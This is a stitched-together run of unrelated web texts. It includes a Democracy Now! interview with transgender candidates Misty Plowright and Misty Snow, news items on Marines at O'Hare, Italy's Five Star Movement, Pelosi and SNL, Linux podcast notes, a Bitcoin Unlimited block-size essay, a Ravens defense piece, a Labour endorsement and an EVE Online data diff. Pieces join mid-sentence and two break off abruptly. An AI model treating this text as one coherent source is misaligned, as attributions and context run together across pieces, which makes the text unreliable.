AMY GOODMAN: On Thursday, Defense Secretary Ash Carter announced the Pentagon will end its ban on openly transgender people serving in the military. This is what he said.
DEFENSE SECRETARY ASHTON CARTER: Our mission is to defend this country, and we don’t want barriers unrelated to a person’s qualification to serve preventing us from recruiting or retaining the soldier, sailor, airman or marine who can best accomplish the mission. We have to have access to 100 percent of America’s population for our all-volunteer force to be able to recruit from among them the most highly qualified and to retain them. … The reality is that we have transgender servicemembers serving in uniform today. And I have a responsibility to them and to their commanders to provide them both with clearer and more consistent guidance than is provided by current policies.
AMY GOODMAN: Under the new rules, the military will provide all healthcare, including surgery, to transgender troops. Many hailed the decision as a step forward in LGBT rights. Victoria Rodríguez-Roldán of the National LGBTQ Task Force said, quote, “This decision is a great victory for the many trans people who have served and sacrificed in the military over the years.” But others criticized it, like award-winning writer Mattilda Bernstein Sycamore, who wrote, quote, “How far we have come from the original goals of gay liberation as it emerged in the 1960s and 1970s—an end to the oppressive state, organized religion and the nuclear family—a rejection of war, racism, white supremacy and imperialism,” she wrote. Misty, your response, as now a Democratic nominee for Congress, as a trans woman yourself and as a military veteran, Misty Plowright?
MISTY PLOWRIGHT: I think it’s a lot more than just a victory for the LGBT community. I think it’s also an amazing thing for America itself. We keep striving to realize our lofty ideals. And anyone who wants to serve this country and is capable of fulfilling the job of doing so should be allowed to. It shouldn’t matter who you are or—I mean, the only thing that should matter is, can you do the job? Nothing else.
JUAN GONZÁLEZ: Well, you would be considered a longshot candidate against Representative Doug Lamborn. What do you see as his primary weaknesses and what you will hope to gather a majority of the voters around your—how you would gather them around your candidacy?
MISTY PLOWRIGHT: Well, there’s five military installations around Colorado Springs, and Mr. Lamborn is very weak on veterans’ issues. And that’s something that I can really go after him on and I intend to go after him on pretty heavily. He’s also in favor of the TPP. He blasts Obama for it, but then he votes to fast-track it. So, he’s pretty vulnerable on a lot of issues. And it’s just a matter of taking my case to the people and really making it all about the issues and just hammering away on that.
AMY GOODMAN: Misty Plowright, we’re trying to get Misty Snow in studio in Salt Lake City. We’re having a little technical problem. But I wanted to ask you about Bernie Sanders’ campaign, if that inspired you, and about the platform debate that’s now going on, the Democratic platform.
MISTY PLOWRIGHT: Yeah, Bernie Sanders was certainly an inspiration and, you know, definitely a part of what was behind my run. You know, I mean, he’s said from the get-go he can’t do it alone, you know, so that was definitely a part of my decision to run. And the platform, I’m not surprised at all by what the party leadership is doing. I, myself, was actually an unaffiliated until July of last year, and I’m not shy about criticizing the Democratic Party leadership, especially with—you know, like they refuse to put in language against the TPP. And they’ve shot down just about every progressive idea that really drove a lot of things in this election cycle and during the primaries and caucuses. Democrats don’t lose elections because they’re not conservative enough. They lose elections because they’re not the party of the people anymore. The voice of the people has been lost. And that really needs to get brought back to the party. So, it doesn’t surprise me what they’re doing with the platform. But Bernie Sanders is right: They need to wake up, because my generation is—frankly, we’re not going to put up with that kind of crap for very long.
AMY GOODMAN: And your thoughts on Hillary Clinton and the whole the Bernie or Bust movement, and Donald Trump, the—at least at this point, the presumptive Republican nominee?
MISTY PLOWRIGHT: Yeah, Donald Trump is scary. He’s like 1930s Germany scary. He’s scary. I understand the Bernie or Bust movement. I was—I considered myself Bernie or Bust for quite a while. I’m really not sure. I have a lot of deep, deep concerns and issues with Hillary Clinton. I was actually a Hillary supporter in 2008. But her tenure as secretary of state got into a lot of things and destabilized a lot of regions in the world, that really make it hard for me to be able to get behind her. I mean, I certainly don’t want Trump, and I’ve never subscribed to the lesser-of-two-evils thing.
AMY GOODMAN: Misty Plowright—
MISTY PLOWRIGHT: And I’ve never cast a vote—
AMY GOODMAN: We got Misty Snow on the line with us, the Democratic nominee for Senate in Utah—
MISTY PLOWRIGHT: OK.
AMY GOODMAN: —the first openly trans candidate to be nominated for Senate from a major party, won the Democratic primary in Utah on Tuesday. Welcome to Democracy Now!, Misty Snow. Talk about the significance of your win and how you plan to win in November.
MISTY SNOW: Well said. I think it’s a great moment in our country for the LGBT community, especially trans people. I’ve had a lot of people reaching out to me, telling me how much it means to them that I’m running. And someone even told me that they’re—like a trans woman in Texas told me she wants to actually run for House of Representatives in 2018. So I’m making a difference just by running.
And how I’m going to win in November is, you know, my opponent, he has like a 38 percent approval rating right now, and I’m already polling at 37 percent, which is better than Democratic Senate candidates typically do in Utah. And that was before I won the nomination, when I didn’t have as much name recognition as I do now from all the press. And, you know, I think the way to do it is just to try to use this moment, you know, to try to start appealing to people all across the nation, especially like the Sanders supporters, who were able to give Bernie Sanders a competitive campaign with small donations, without corporate funding. And I think, you know, we need to really make the case that, for the revolution to continue, you know, those people, those same donors, need to start donating to congressional candidates all over the country to get progressives elected.
AMY GOODMAN: Misty Snow, we’re going to have to leave it there. I want to thank both of you for joining us. You’ve both made history, Misty Snow in Utah and Misty Plowright in Colorado, the first openly trans women to win their party’s nomination for the race in November.
That does it for the show. Tune in Monday for our July 4th special, when we feature the words of Frederick Douglass and Saul Williams and Jesse Williams. I’m Amy Goodman, with Juan González. Thanks so much for joining us.It was incredibly touching. Afghanistan is a very complex and ambiguous war... and a difficult thing to keep track of so it is amazing when we are 10 years (into) a war and there is still that kind of community, that level of support, the level of willingness to go out of one's way.
CHICAGO — A group of Marines on their way home from Afghanistan got something they didn't expect after spending the better part of five days getting on and off planes as they tried to get from one side of the globe to another: cheers from a small crowd of police, a fire truck water salute and first-class plane tickets.
The 13 Marines found themselves treated like heroes Monday night at Chicago's O'Hare International Airport after a retired Marine and others scrambled to make sure they were thanked in style before departing on the final leg of their journey to San Diego.
After their plane taxied beneath an arch of water from fire department hoses in what is called a water salute, the Marines walked into the terminal and were met by a small crowd of cheering USO volunteers, firefighters, police officers and airport workers.
A short time later, boarding another jet for San Diego, the Marines learned that American Airlines — which has a policy to upgrade servicemen and women in uniform whenever possible — had six empty seats in first class for the group. That gesture was followed by seven first-class passengers who jumped out of their seats for the other Marines so they could sit together.
"It was incredibly touching," Capt. Pravin Rajan said in a telephone interview from Camp Pendleton in California. "Afghanistan is a very complex and ambiguous war... and a difficult thing to keep track of so it is amazing when we are 10 years (into) a war and there is still that kind of community, that level of support, the level of willingness to go out of one's way."
The welcome home started with a phone call. Stephanie Hare, a native of Illinois who now works in England, called the USO at O'Hare and explained that her fiance, Rajan, who had served seven months in Afghanistan, was with a dozen other Marines on a plane bound for Chicago from Baltimore.
"I just thought if they could get them some Chicago pizza, champagne or something, that would mean a lot," she said.
On the other end of the line was John Colas, a 74-year-old former Marine USO volunteer. He told Hare he'd try to do something in the hour or so before the flight landed. But he cautioned that while volunteers make an effort to welcome military personnel whenever they come through the airport, he wasn't sure he could pull anything off in such a short time.
Colas got on the phone with the police and fire departments, the airlines and anyone else he could think of.
"There must have been 15 Chicago firemen and an equal number of Chicago police and they formed a corridor for the Marines when they got off the airplane," he said.
Rajan said the Marines didn't know what to make of it, starting with the slightly unnerving experience of looking out a plane window to see a fire truck.
"For a second, we were like, 'Are we in trouble?'" he said.
After they realized the reception was for them, the Marines soaked in the scene, even as they said police officers hustled them off to another gate so they'd make their flight to San Diego.
"They were just so thankful — very, very appreciative," said Linda Kozma, an American Airlines employee who helps military personnel flying in and out of O'Hare.
Hare didn't know about any of it until she woke up Tuesday and heard Rajan relating the whole story in a voice mail.
"I just thought it was really beautiful," she said.IN BARELY seven years, the populist Five Star Movement (M5S), has become Italy’s biggest opposition group. As the country approaches a referendum on December 4th that could lead to the fall of Matteo Renzi’s left-right coalition and a renewed bout of political turmoil, the M5S is just a few percentage points behind Mr Renzi's Democratic Party (PD). At the last election in 2013, the M5S took a quarter of the vote. Since then, Silvio Berlusconi’s Forza Italia party—once the PD’s principal rival—has imploded. Italy’s other main right-wing party, the Northern League, has so far been unable to take its place; its appeal constrained by its regional character and extreme views. Against this background, an M5S government is no longer unthinkable. In June, its candidates for mayor won in Rome and, more surprisingly (and traumatically for the PD) in Turin, a left-wing stronghold. What exactly is the M5S, and what does it stand for?
Neither of the two men who founded the movement in 2009 was a politician at the time. One was Beppe Grillo, a comedian in the mould of Michael Moore or Russell Brand. Mr Grillo has lent the M5S visibility and celebrity charisma. But it was his co-founder, Gianroberto Casaleggio, an IT executive, who gave it its distinctive character. Mr Grillo wrote that he first took the shaggy-haired internet buff to be a lunatic, but soon concluded he was a visionary. Mr Casaleggio persuaded the comedian—banished from television because of his attacks on the powerful—to start a blog. He then encouraged devotees of the blog to use the Meetup platform to form the local cells that laid the foundations for the M5S.
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At the core of the movement’s philosophy is the view that it is not a party, but an organisation set up to get rid of parties, which many in Italy view as sources of patronage and graft. This is one of the things that distinguishes the M5S from other disruptive political groups such as Podemos or UKIP. The latter use the internet to rally support. The M5S sees it as the very reason for its existence: a medium remorselessly eliminating mediation of all kinds that will eventually destroy parties and make possible a form of direct democracy if the people control the government through constant voting over the web. This idealistic, almost Messianic, vision explains some of the Movement’s other distinguishing traits: its refusal to do deals with the pre-existing parties, its cult-like nature (dissidents are regularly purged in online ballots) and its insistence that it is neither of left nor right (since it aims to embrace the entire electorate).
Though most of the M5S’s leadership came from the left, it has picked up large numbers of votes on the right. Facing in both directions at once, it is a fearsome opponent, especially in two-round elections of the sort introduced by Italy’s new electoral law: having eliminated, say, Forza Italia in the first round, the movement can then scoop up many of the eliminated party’s voters in the second. But that very advantage makes it vulnerable: its left- and right-leaning members are increasingly clashing over policy, and forming informal factions within the movement. The other big challenge it faces is to show its elected officer-holders can overcome their inexperience to govern effectively. The new M5S mayor of Rome has made a disastrous start. If the movement cannot run a city, voters may conclude, it should not be given charge of a country.WASHINGTON ― House Minority Leader Nancy Pelosi (D-Calif.) piled onto President Donald Trump’s false claims of voter fraud Wednesday, saying she feels sad for a man who is so insecure over losing the popular vote that he has to make “strange” claims.
Trump told Pelosi and other lawmakers at a White House meeting earlier this week that he actually won the popular vote because 3 million to 5 million “illegals” voted for Hillary Clinton. Clinton won the popular vote by 2.9 million votes.
“There is no evidence to support what the president has said, and I think we made that really clear to him,” Pelosi told reporters on Capitol Hill.
Trump called earlier Wednesday for an investigation into his unfounded allegations.
Pelosi said she found the entire episode strange.
“For a person who is a newly elected president of the United Sates to be so insecure as to declare ― he is now the president, he’s ensconced in the White House, and he is saying ‘I won the popular vote, 3 million to 5 million Americans voted illegally in our country’ ― to suggest and undermine the integrity of our voting system is really strange,” Pelosi said.
“On top of it, he wants to investigate something that can clearly be proven to be false,” she said, noting that he does not want to investigate the intelligence community’s assessment that Russia interfered in the election. Investigations into the Russia connections are ongoing, even if Trump isn’t interested in them.
“I frankly feel very sad about the president making this claim,” Pelosi said. “I felt sorry for him. I even prayed for him. But then I prayed for the United States of America.”
To put an exclamation point on their dismissal of Trump’s unsupported claim, Democrats on Wednesday sent a letter to all the attorneys general across the nation asking them to please tell Congress about any cases they have of suspected voter fraud.
Pelosi also raised a point that may be hard for the Trump administration to argue against.
“When Jill Stein was making her case about voter irregularities... following the election, the lawyers for Donald Trump testified that there was no voter fraud to justify her request for a recount,” Pelosi said. “So, that’s kind of where that is.”NBC’s “Saturday Night Live” is currently having its best season in more than two decades despite being described as “unwatchable” by President Trump, arguably the program’s most outspoken and influential critic.
Season 42 of “SNL” is averaging 10.6 million total viewers, compared to 8.7 million viewers around the same time last season, Variety reported this week.
In addition to surpassing last year’s audience by nearly 22 percent, the recent positive reception has consequently made the show’s current season its most-watched since the middle of the Clinton presidency, according to NBC.
Season 42 marks the show’s most successful run since 1994-1995, NBC executives told Variety.
The show’s recent surge in popularity comes amid its frequent parodying of Mr. Trump and his administration, the likes of which has routinely triggered responses from the president in the form of Sunday morning Twitter rants and other public condemnation.
Mr. Trump has used preferred social media platform to label “SNL” as “boring,” “terrible” and “the worst of NBC” since season 42 began in October 2016, and has continued to blast the program and its portrayal of his presidency since taking office one month later.
SEE ALSO: SNL writer Katie Rich issues apology after being suspended for Barron Trump tweet
The most recent episode of “SNL” — rife with jabs at Mr. Trump and White House spokesman Sean Spicer, among others — was the second-highest ranked television program of the week among adults in the coveted 18-49 age demographic, Variety reported.
Alec Baldwin, the Academy Award-nominated actor who has frequently provoked Mr. Trump by portraying the president this season, is slated to guest host Saturday’s episode of “SNL” on Feb. 11.
Mr. Trump said previously that the actor’s “portrayal stinks” and “just can’t get any worse.”
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Jonathan Riddell joins us to discuss the KDE Neon project, the latest & greatest of KDE community software packaged on a rock-solid base. We kick the tires & give you our first impressions. Is this finally the Plasma Desktop just the way we’ve always wanted it?
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At FOSDEM this weekend KDE is announcing our newest project, KDE neon. Neon will provide a way to get the latest KDE software on the day its released.
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Hi Chris, I spotted linux in the wild today at Sears. While the register was booting up it looked like the ubuntu boot screen with the 4 loading dots, but it was customized to show Sears instead of ubuntu. When the boot process had finished, a gtk dialog box popped up and I was able to snap a picture before it brought up the POS interface. I also saw they were running desktop linux in the optical department. I only got a glimpse of it, but it looked like it might have been a really old customized version of kde.
Desktop App Pick
Excellent video viewer: Timeline and Monitor
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Author to Folder, ISO or directly to DVD
Reauthoring: You can import video from DVD discs.
Weekly Spotlight
BlueGriffon is a new WYSIWYG content editor for the World Wide Web. Powered by Gecko, the rendering engine of Firefox, it’s a modern and robust solution to edit Web pages in conformance to the latest Web Standards. Because Gecko lives inside BlueGriffon, the document you edit will look exactly the same in Firefox. Advanced users can always use the Source View to hard-code their page. BlueGriffon is tri-licensed under the Mozilla Public License 1.1, the GNU General Public License Version 2 and the GNU Lesser General Public License Version 2.1.
The FESTS are Coming
With 80 general sessions, 10 postgres sessions, and 6 tutorials, LinuxFest Northwest will be quite the full weekend of learning and fun. View the accepted sessions.
Call for speakers for SELF 2016 is now open. The deadline for submissions is Friday April 1st at 11:59 PM ET. Click here to submit a talk
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So it looks like almost a quarter of the patches are from Outreachy, the group providing paid internships for women and other “underrepresented groups in tech” to work on the Linux kernel and related open-source projects.
With today’s xdg-app 0.5 release, Alex considers this GNOME sandboxing tech to be feature complete for making it possible for third-parties to create and distribute applications that work across distributions. With this sandboxing, these packaged applications have minimal access to the host as needed for functionality.
“I’m pleased to announce the release of Nmap 7.10 with many great improvements,” says Fyodor in today’s announcement. “It’s got 12 new NSE scripts, hundreds of new OS/version fingerprints, and dozens if smaller improvements and bug fixes. And that’s not even counting the changes in Nmap 7.01, which we released in December 2015.”
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Follow us on FacebookDecentralizing the Block Size Limit
Bitcoin’s full node network itself, with special software, will find the most optimal block size limit via emergent consensus.
Andrew Clifford Blocked Unblock Follow Following Oct 13, 2016
The most vexing problem in the history of Bitcoin — the block size limit — is finally being solved, invisibly, as these words are being written, as they are being published, and as they are first being read. Not by developers, but by individual full node owners. Really? Yes!
Bitcoin full nodes are being regularly started up which now include BUIP001 — special software which enables full node owners to set the maximum sizes for blocks that they will make and accept, also the delay for acceptance of oversized blocks. This capability for delayed acceptance effectively makes nodes become fork tolerant where forks exist due to block size limit disagreement. Because of this the forks will always be transient.
Bitcoin full nodes interact during block propagation. The differences in BUIP001 settings have a holistic effect on participating nodes and once critical mass occurs then emergence results effecting a varying block size limit on the entire network by top-down feedback.
How does this work? First a detour into history, we rewind six long years…
Centrally Planned Block Size Limits
Originally there was no block size limit for Bitcoin, except that implied by the 32MB message size limit. In mid-2010 Satoshi Nakamoto put in a smaller limit of 1MB. FPGA mining was first mentioned on bitcointalk, the forum he founded. Perhaps he was worried about a rogue miner making many large blocks while all Bitcoin users still needed a full node. BTC were being traded for nearly a dollar each and people were taking this new form of money seriously. Satoshi subsequently made it crystal clear that his new 1MB block limit would not remain to throttle Bitcoin’s growth, and wrote on October 4th, 2010:
It can be phased in, like:
if (blocknumber > 115000)
maxblocksize = largerlimit
It can start being in versions way ahead, so by the time it reaches that block number and goes into effect, the older versions that don’t have it are already obsolete.
It is likely that Satoshi assumed largerlimit would be another constant. Then he vanished two months later. Afterwards, the debate about his block limit would rumble on month after month, year after year.
Like Ponce de Leon mythically searching in vain for the Fountain of Youth in the swamps of Florida, all subsequent searches for the optimum block size limit were fruitless. This was because of the a-priori assumption that it had to be a universal value at the protocol-level, known and observed by all Bitcoin miners and full nodes. i.e. agreed to by all nodes who wanted to make, send and receive blocks. Proposals for new constants morphed into new algorithms, BIPs, flex-cap proposals, until finally the towel was thrown in. It was impossible to come up with a centrally planned block size limit which satisfied all Bitcoiners. Perhaps at a communal level it was known that no centrally planned limit would ever be truly optimal for the network. Fees would be too high or too low and decentralization would be at risk from under-capacity or over-capacity.
Sadly, and consequently, the worst case scenario has come about since mid-2016 where the growth of Bitcoin’s network effect is arrested by centrally planned under-capacity.
What is far better than central planning is a market-driven solution. The algorithm closest to a market solution is BIP100 which relies upon miner voting, although it is handicapped by an inbuilt 21% miner veto on any block limit increases. This solution briefly found support by 70% of the hashing-power (who flagged its desirability on mined blocks). The Bitcoin Core developers rejected BIP100 because there was no feedback mechanism from the non-mining majority of full nodes. So it has languished since. Was hope lost? No! There still exists the cleanest form of market-driven solution: emergent consensus, and this is what is being rolled out right now in the Bitcoin Unlimited full node implementation.
Emergence — How it Works
Emergence is everywhere in nature. From crystals and snowflakes, to the spiralling shape of galaxies, macroscopic properties of liquids to weather patterns, ant-hills and living organisms.
Fig 1. Patterns in flocks of birds are emergent from individuals following a few simple rules
John Holland writes extensively about emergence in nature and describes emergent phenomena as typically persistent patterns with changing components, being quite paradoxical to categorize: changeless and changing, constant and fluctuating, persistent and shifting, inevitable and unpredictable. An emergent property is simultaneously part of a system and also external to it. Emergence depends upon a system to become manifest but also transcends it at the same time.
Fig 2. Interaction at peer-to-peer level produces emergent phenomena with top-down feedback
The graphic here by the anthropologist Richard Seel is an abstraction of emergence in human cultures. All aspects of culture: language, standards, markets, cities, politics etcetera are emergent from the interaction of individuals or collectives of individuals.
In the graphic emergence begins at (A) with discrete entities such as molecules, insects, or humans. At (B) there is interaction. A construct emerges in (C) transcending the entities. It could be a vortex, beehive, or a market price. Finally in (D) there is top-down causation shaping the behavioural characteristics of individual entities. Causation takes varied forms like natural selection or adaptive information control. Emergence drives self-organization, and it can be hierarchical with many layers such as in multicellular biology. Reductionism fails at first base because not even all the layers are known.
An Emergent Block Size Limit for Bitcoin
Using the four-part graphic above we can consider (A) to be the population of Bitcoin full nodes. Peer-to-peer messaging interaction is described by (B). Flexibility over the handling of the block sizes, created by BUIP001 (or similar software), gives rise to an emergent construct (C), a block size limit. Finally the top-down feedback in (D) is a single block size limit becoming simultaneously effective across all participating nodes in the network.
BUIP001 has user-defined settings.
If the node is non-mining or a hasher then only the Excessive Block Size (EB) and Acceptance Depth (AD) values are important to set. EB is the largest block size the node owner is comfortable about handling. AD is the depth necessary for an excessive block to be buried before it is accepted by the node. Being dogmatic is unnecessary as AD reflects a point in a range of the flexibility of a user’s opinion. Existing Bitcoin Core behavior can be replicated by EB=1, AD=999999.
If the node is solo-mining or a pool operator then the Maximum Generate Size (MG) is also used to limit the size of blocks which will be created. In a healthy bitcoin network, where most miners and nodes are participating in emergent consensus, then miners will set their MG value to be less than their EB value.
Example: Node X is one of many Bitcoin nodes observing these rules:
Fig 3. A Bitcoin full node with rules for the block size limit receives an excessive block
The owner of node X has set their EB=4 and AD=3.
Block 1 is the current chain-tip with most proof-of-work. Block 2 is mined with the size of 6MB so this block is put “on probation” by node X. It is validated, but not propagated, and won’t be until there are 3 blocks built on top of it, reaching the acceptance depth. In the example, a further block is mined but this also has delayed acceptance. Node X is temporarily not participating in the network for block handling.
Fig 4. Alternate paths to resolving the case of an excessive block
The excessive block situation can play out in two ways, it gets accepted or rejected (orphaned) by the network.
At left, more blocks are added after the excessive block until the AD threshold for node X is reached. When block 5 arrives node X propagates blocks 2 through 5 normally. In this scenario the majority of the network has EB>=6 and node X is being too conservative. This user needs to consider upgrading hardware and updating the settings if their node falls behind too often.
At right, the excessive block is clearly too large for most of the network who, in this example, must have their EB<6 in aggregate. In a healthy network with emergent consensus this scenario is likely only when record-sized blocks are seen, larger than any block mined so far into the Bitcoin blockchain.
A decentralized block size limit is information which transcends the Bitcoin peer-to-peer messaging layer. Using it is future-proofing this important aspect of Bitcoin. An emergent limit is forward-looking, like a market price, as it includes each node owner’s future expectation of their node’s capacity. It will be exciting to see critical mass achieved and Bitcoin’s growth resuming once again at fast pace. It will have fair transaction fees appropriate to a functional block space market, where the block space available is appropriate to the capacity of the full node network.
All other full node implementations are encouraged to incorporate this feature and help to advance Bitcoin further.
General Observations and Questions
User configurable settings for emergent consensus on the block size limit are visible on the sub-version of the client name for non-miners and in the coin-base input script-sig for miners. These formats are detailed in BUIP005.
Growing the block limit slowly and safely
Miners will only incrementally increase the maximum size of mined blocks in accordance with peaks in real-world transaction demand which require it. Two new settings allow miners to co-ordinate block size limit increases: Future Generate Size (FG) and proposed Activation Block Height (ABH) which is published as (ABH - current blockchain height) / 12000 rounded up. Example: /MG2.0/EB3.5/AD4/FG2.5@3/
How will the 1MB be overcome?
The current block limit is universally observed, so it is a one-off problem requiring widespread co-operation. The best approach is for miners to use MG=1, EB=1 and AD=6 for a temporary period. This period ends when the number of blocks mined with these settings reaches a level which the miners feel comfortable with e.g. the 75% set by the Bitcoin Classic developers which is recommended by Haipo Yang of ViaBTC. Miners will also wait to see a majority of the non-mining ecosystem nodes advertising EB values, of which the default setting is EB=16. Once these background requirements are met, the miners can make use of the FG and ABH to create a window for the first block >1MB and a hard-fork will become effective. Obviously the whole Bitcoin community will be observing this and Bitcoin businesses of all types are strongly encouraged to upgrade their nodes in advance.
What is the story with BIP109?
The Bitcoin Classic developers implemented BIP109 which has a 2MB fixed limit, which Bitcoin Unlimited also supported for the purpose of overcoming the inertia to change present in the 1MB. However, BIP109 also introduces further universal limits. These are on SIGOPS and SIGHASH due to a potential attack threat of quadratic overhead in block validation. Yet, these new limits are themselves problematic for long-term on-chain scaling. Instead, parallel block validation* is a far more elegant solution which makes Bitcoin nodes immune from hard-to-validate block attacks, and this is currently being tested by Bitcoin Unlimited, in the meantime the existing Bitcoin Core SIGOPS limits are being observed.
* To be detailed in an upcoming article
How are Sybil nodes handled?
Sybil nodes are run by an attacker attempting to skew the behavior of a population of honest or “real” nodes. Normally they are low-cost and have minimal participation in the network, only interacting to cause overhead and nuisance. In the case of emergent consensus sybil nodes fail to have an impact because the attacker cannot magnify his or her economic footprint in the global Bitcoin ecosystem. No one cares if sybil nodes pretend to handle very large blocks as each real node has its own limit for block acceptance. If sybil nodes send large blocks to real nodes then those blocks will likely wait pending propagation until they have met acceptance depth. That won’t happen unless miners are building on the large blocks, which they won’t do because they have an increased orphaning risk building on a block which is likely to be over the EB size of most other real nodes.
How do non-miners affect the emergent block size limit?
Non-miners reflect a cross-section of the whole Bitcoin ecosystem and represent the economic majority. They create a ceiling for the emergent i.e. decentralized block limit. Where miner MG levels are below the majority non-mining EB levels then block sizes reflect just the supply/demand fee-market equation for block space. It is quite possible that demand will climb such that MG levels impinge on the non-miner EB levels. In this situation miners will receive push-back on block sizes as the non-mining nodes will be actively selecting for smaller blocks. The emergent block limit will then be profoundly influenced by the capacity of the non-mining nodes. If 51% of the miners persist on building on larger and larger blocks then this is simply another manifestation of the age-old 51% attack which Nakamoto consensus never pretends to solve. In practice a sustained sequence of larger blocks than the ecosystem wants will negatively affect the BTC market price, and miner profitability. Eight years of experience has shown that miner and non-miner financial interests are tightly bound and will remain so for as long as bitcoin currency units have value.
Why are most non-miner settings currently left at the defaults?
Critical mass is not yet present for a decentralized block size limit to become emergent. So, it is to be expected that users will not yet fine-tune their settings to suit their personal circumstances. In the future, for users who are unsure what settings are best, there will likely to be websites providing advice based upon hardware specifications supplied.
Further reading:
Emergence Nova ScienceNOW
http://www.pbs.org/wgbh/nova/nature/emergence.html
Types and Forms of Emergence by Jochen Fromm
https://arxiv.org/pdf/nlin/0506028.pdfBuy Photo Scott Lucas, who has lived at 240 Kalorama Street for over 20 years, poses with one of his cats, Smokey, outside his recently renovated apartment unit on Friday, Dec. 26, 2014. The affordable housing non-profit Valley Area Community Support has been fixing up the building and preparing new units for incoming tenants. (Photo: Griffin Moores / The News Leader)Buy Photo
A big man with shining brown eyes, William Pierson was a long-haul truck driver until macular degeneration robbed him of most of his sight, a livelihood and a roof over his head.
Now the Valley Mission resident was standing on the balcony of a like-new apartment flooded with sunshine and a view to distant hills.
"Oh man, this is great," Pierson said, loving everything about the one-bedroom unit, which includes all utilities and |
, the Ravens’ defense cracked the list. Here is what Farrar had to say about the Ravens’ scheme, which he ranked fifth in the NFL.
The Ravens went 8-8 last season and missed the playoffs for the second straight year, which obscured the outstanding job defensive coordinator Dean Pees did. Baltimore ranked sixth in Football Outsiders’ opponent-adjusted metrics for team defense and 10th against the pass, which was especially impressive given the fact that top cornerback Jimmy Smith struggled to stay healthy.
One thing that has elevated Baltimore’s pass defense is Pees’ use of disguised coverages. It’s something every NFL team does to some degree, but the Ravens are especially good at showing one coverage pre-snap and then altering it as the defensive backs start to move.
Safeties Eric Weddle and Lardarius Webb are big parts of that disguise, as each can play both strong and free positions. And the addition of free-agent veteran safety Tony Jefferson will add additional wrinkles. Jefferson comes from an Arizona defense in which safeties are asked to play multiple positions and help with different disguised coverages.
Whether it’s an invert—where the quarterback expects a shallow cornerback and deep safety and gets the opposite—or a two-deep man coverage look that somehow shifts to Cover 2 zone after the snap, Pees’ disguise concepts are among the league’s most advanced and effective.
No less an expert than Bill Belichick has said that Pees, his defensive coordinator in New England from 2006-2009, does a "good job of keeping you off-balance."
"They’re not going to sit there in one thing all day," Belichick said last December, per Ryan Mink of BaltimoreRavens.com. "They’ve never done that. They’re going to change up the looks on you."The deadline for signing up as a member, affiliated supporter or registered supporter to vote in the Labour leadership election is midday today.
Tens of thousands of new voices have been added to those of party members in making this vital choice for our party’s future, and the future of our country.
But if we are to offer the country a clear and credible alternative to David Cameron and George Osborne, then we need a candidate who can unite our movement and lead us to victory in 2020.
That’s why I believe Andy Burnham is the best candidate to lead Labour.
Andy refuses to entertain the false choice that this leadership contest is somehow a choice between our values and winning elections. He demonstrates in his manifesto that he will develop policies that we can be proud to fight for and that will win the next General Election for Labour in 2020.
Andy’s vision is one our movement can believe in: a credible economic alternative based on a high-wage, high-skill economy; an economy that drives growth through a new industrial strategy, where unions are partners not demonised by government; a truly comprehensive education system with opportunity for every child that isn’t determined by the postcode of the bed they are born in; and a national health and care service that is there for you from cradle to grave.
It is a vision the wider public can believe in, too.
The uncomfortable truth is that too many people look at our Party and see an out of touch Westminster elite. Unless we have a Leader who can reconnect our Party with the people whose trust we’ve lost, we won’t be implementing any of our policies – because nobody will be listening to what we have to offer.
A recent Ipsos Mori poll of both the general public and Labour voters’ shows Andy is the candidate that most voters believe has what it takes to be a good Prime Minister. He is the only candidate with a positive rating in Scotland. And he is in the lead amongst the voters we need to win back in order to win again in 2020.
For me, it’s simple. It comes down to values and leadership. Andy Burnham offers both.
I urge all Party members, registered supporters and affiliates to vote for Andy and let’s start to focus on beating our real opponents, the Tories.2012-03-11 diff sarmatiko Mar 10th, 2012 13,679 Never 13,679Never
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warpScrambleStrength: -1.0 Long ramp up time, at end ship is jumped instantly 100 km directly forward. Ship maintains direction and velocity. Ship is affected by warp scramblers and warp disruption fields. Note: Battleship class module [+] Micro Jump Drive I Blueprint [+] capacity: 0 [+] mass: 0 [+] volume: 0.01 [+] Mobile Large Jump Disruptor I Blueprint [+] capacity: 0 [+] mass: 0 [+] volume: 0.01 [+] Micro Jump Drive Operation [+|n] propulsionJammingSkillBoostDurationBonus [+|n] skillEffect [+|n] skillMJDdurationBonus [+] capacity: 0 [+] durationBonus: 5.0 [+] mass: 0 [+] primaryAttribute: 165.0 [+] requiredSkill1: 3449.0 [+] requiredSkill1Level: 4.0 [+] requiredSkill2: 3455.0 [+] requiredSkill2Level: 2.0 [+] secondaryAttribute: 167.0 [+] skillLevel: 0 [+] skillTimeConstant: 5.0 [+] volume: 0 [+] Mobile Large Jump Disruptor I [+|n] anchorDrop [+|n] anchorLift [+] anchoringDelay: 360000.0 [+] armorHP: 60000.0 [+] capacity: 0 [+] hp: 120000.0 [+] mass: 0 [+] metaLevel: 0 [+] requiredSkill1: 11584.0 [+] requiredSkill1Level: 3.0 [+] requiredSkill2: 3435.0 [+] requiredSkill2Level: 4.0 [+] requiredSkill3: 4385.0 [+] requiredSkill3Level: 3.0 [+] scanLadarStrength: 25.0 [+] shieldCapacity: 40000.0 [+] shieldRechargeRate: 1200000.0 [+] signatureRadius: 450.0 [+] techLevel: 1.0 [+] volume: 585.0 A Large deployable self powered unit that prevents micro jumping into its area of effect. Renamed groups: "Missile Launcher Assault" "Missile Launcher Heavy Assault" Renamed items: "Trauma Cruise Missile" "Scourge Cruise Missile" "Trauma Heavy Missile" "Scourge Heavy Missile" "Trauma Light Missile" "Scourge Light Missile" "Trauma Rocket" "Scourge Rocket" "Trauma Torpedo" "Scourge Torpedo" "Trauma Cruise Missile Blueprint" "Scourge Cruise Missile Blueprint" "Trauma Heavy Missile Blueprint" "Scourge Heavy Missile Blueprint" "Trauma Light Missile Blueprint" "Scourge Light Missile Blueprint" "Trauma Rocket Blueprint" "Scourge Rocket Blueprint" "Trauma Torpedo Blueprint" "Scourge Torpedo Blueprint" "Trauma F.O.F. Heavy Missile I" "Scourge F.O.F. Heavy Missile I" "Trauma F.O.F. Heavy Missile I Blueprint" "Scourge F.O.F. Heavy Missile I Blueprint" "Trauma F.O.F. Cruise Missile I" "Scourge F.O.F. Cruise Missile I" "Trauma F.O.F. Cruise Missile I Blueprint" "Scourge F.O.F. Cruise Missile I Blueprint" "Guristas Trauma Citadel Cruise Missile" "Guristas Scourge Citadel Cruise Missile" "Trauma Fury Heavy Missile" "Scourge Fury Heavy Missile" "Trauma Fury Heavy Missile Blueprint" "Scourge Fury Heavy Missile Blueprint" "Trauma Rage Assault Missile" "Scourge Rage Assault Missile" "Trauma Rage Assault Missile Blueprint" "Scourge Rage Assault Missile Blueprint" "Trauma Citadel Torpedo" "Scourge Citadel 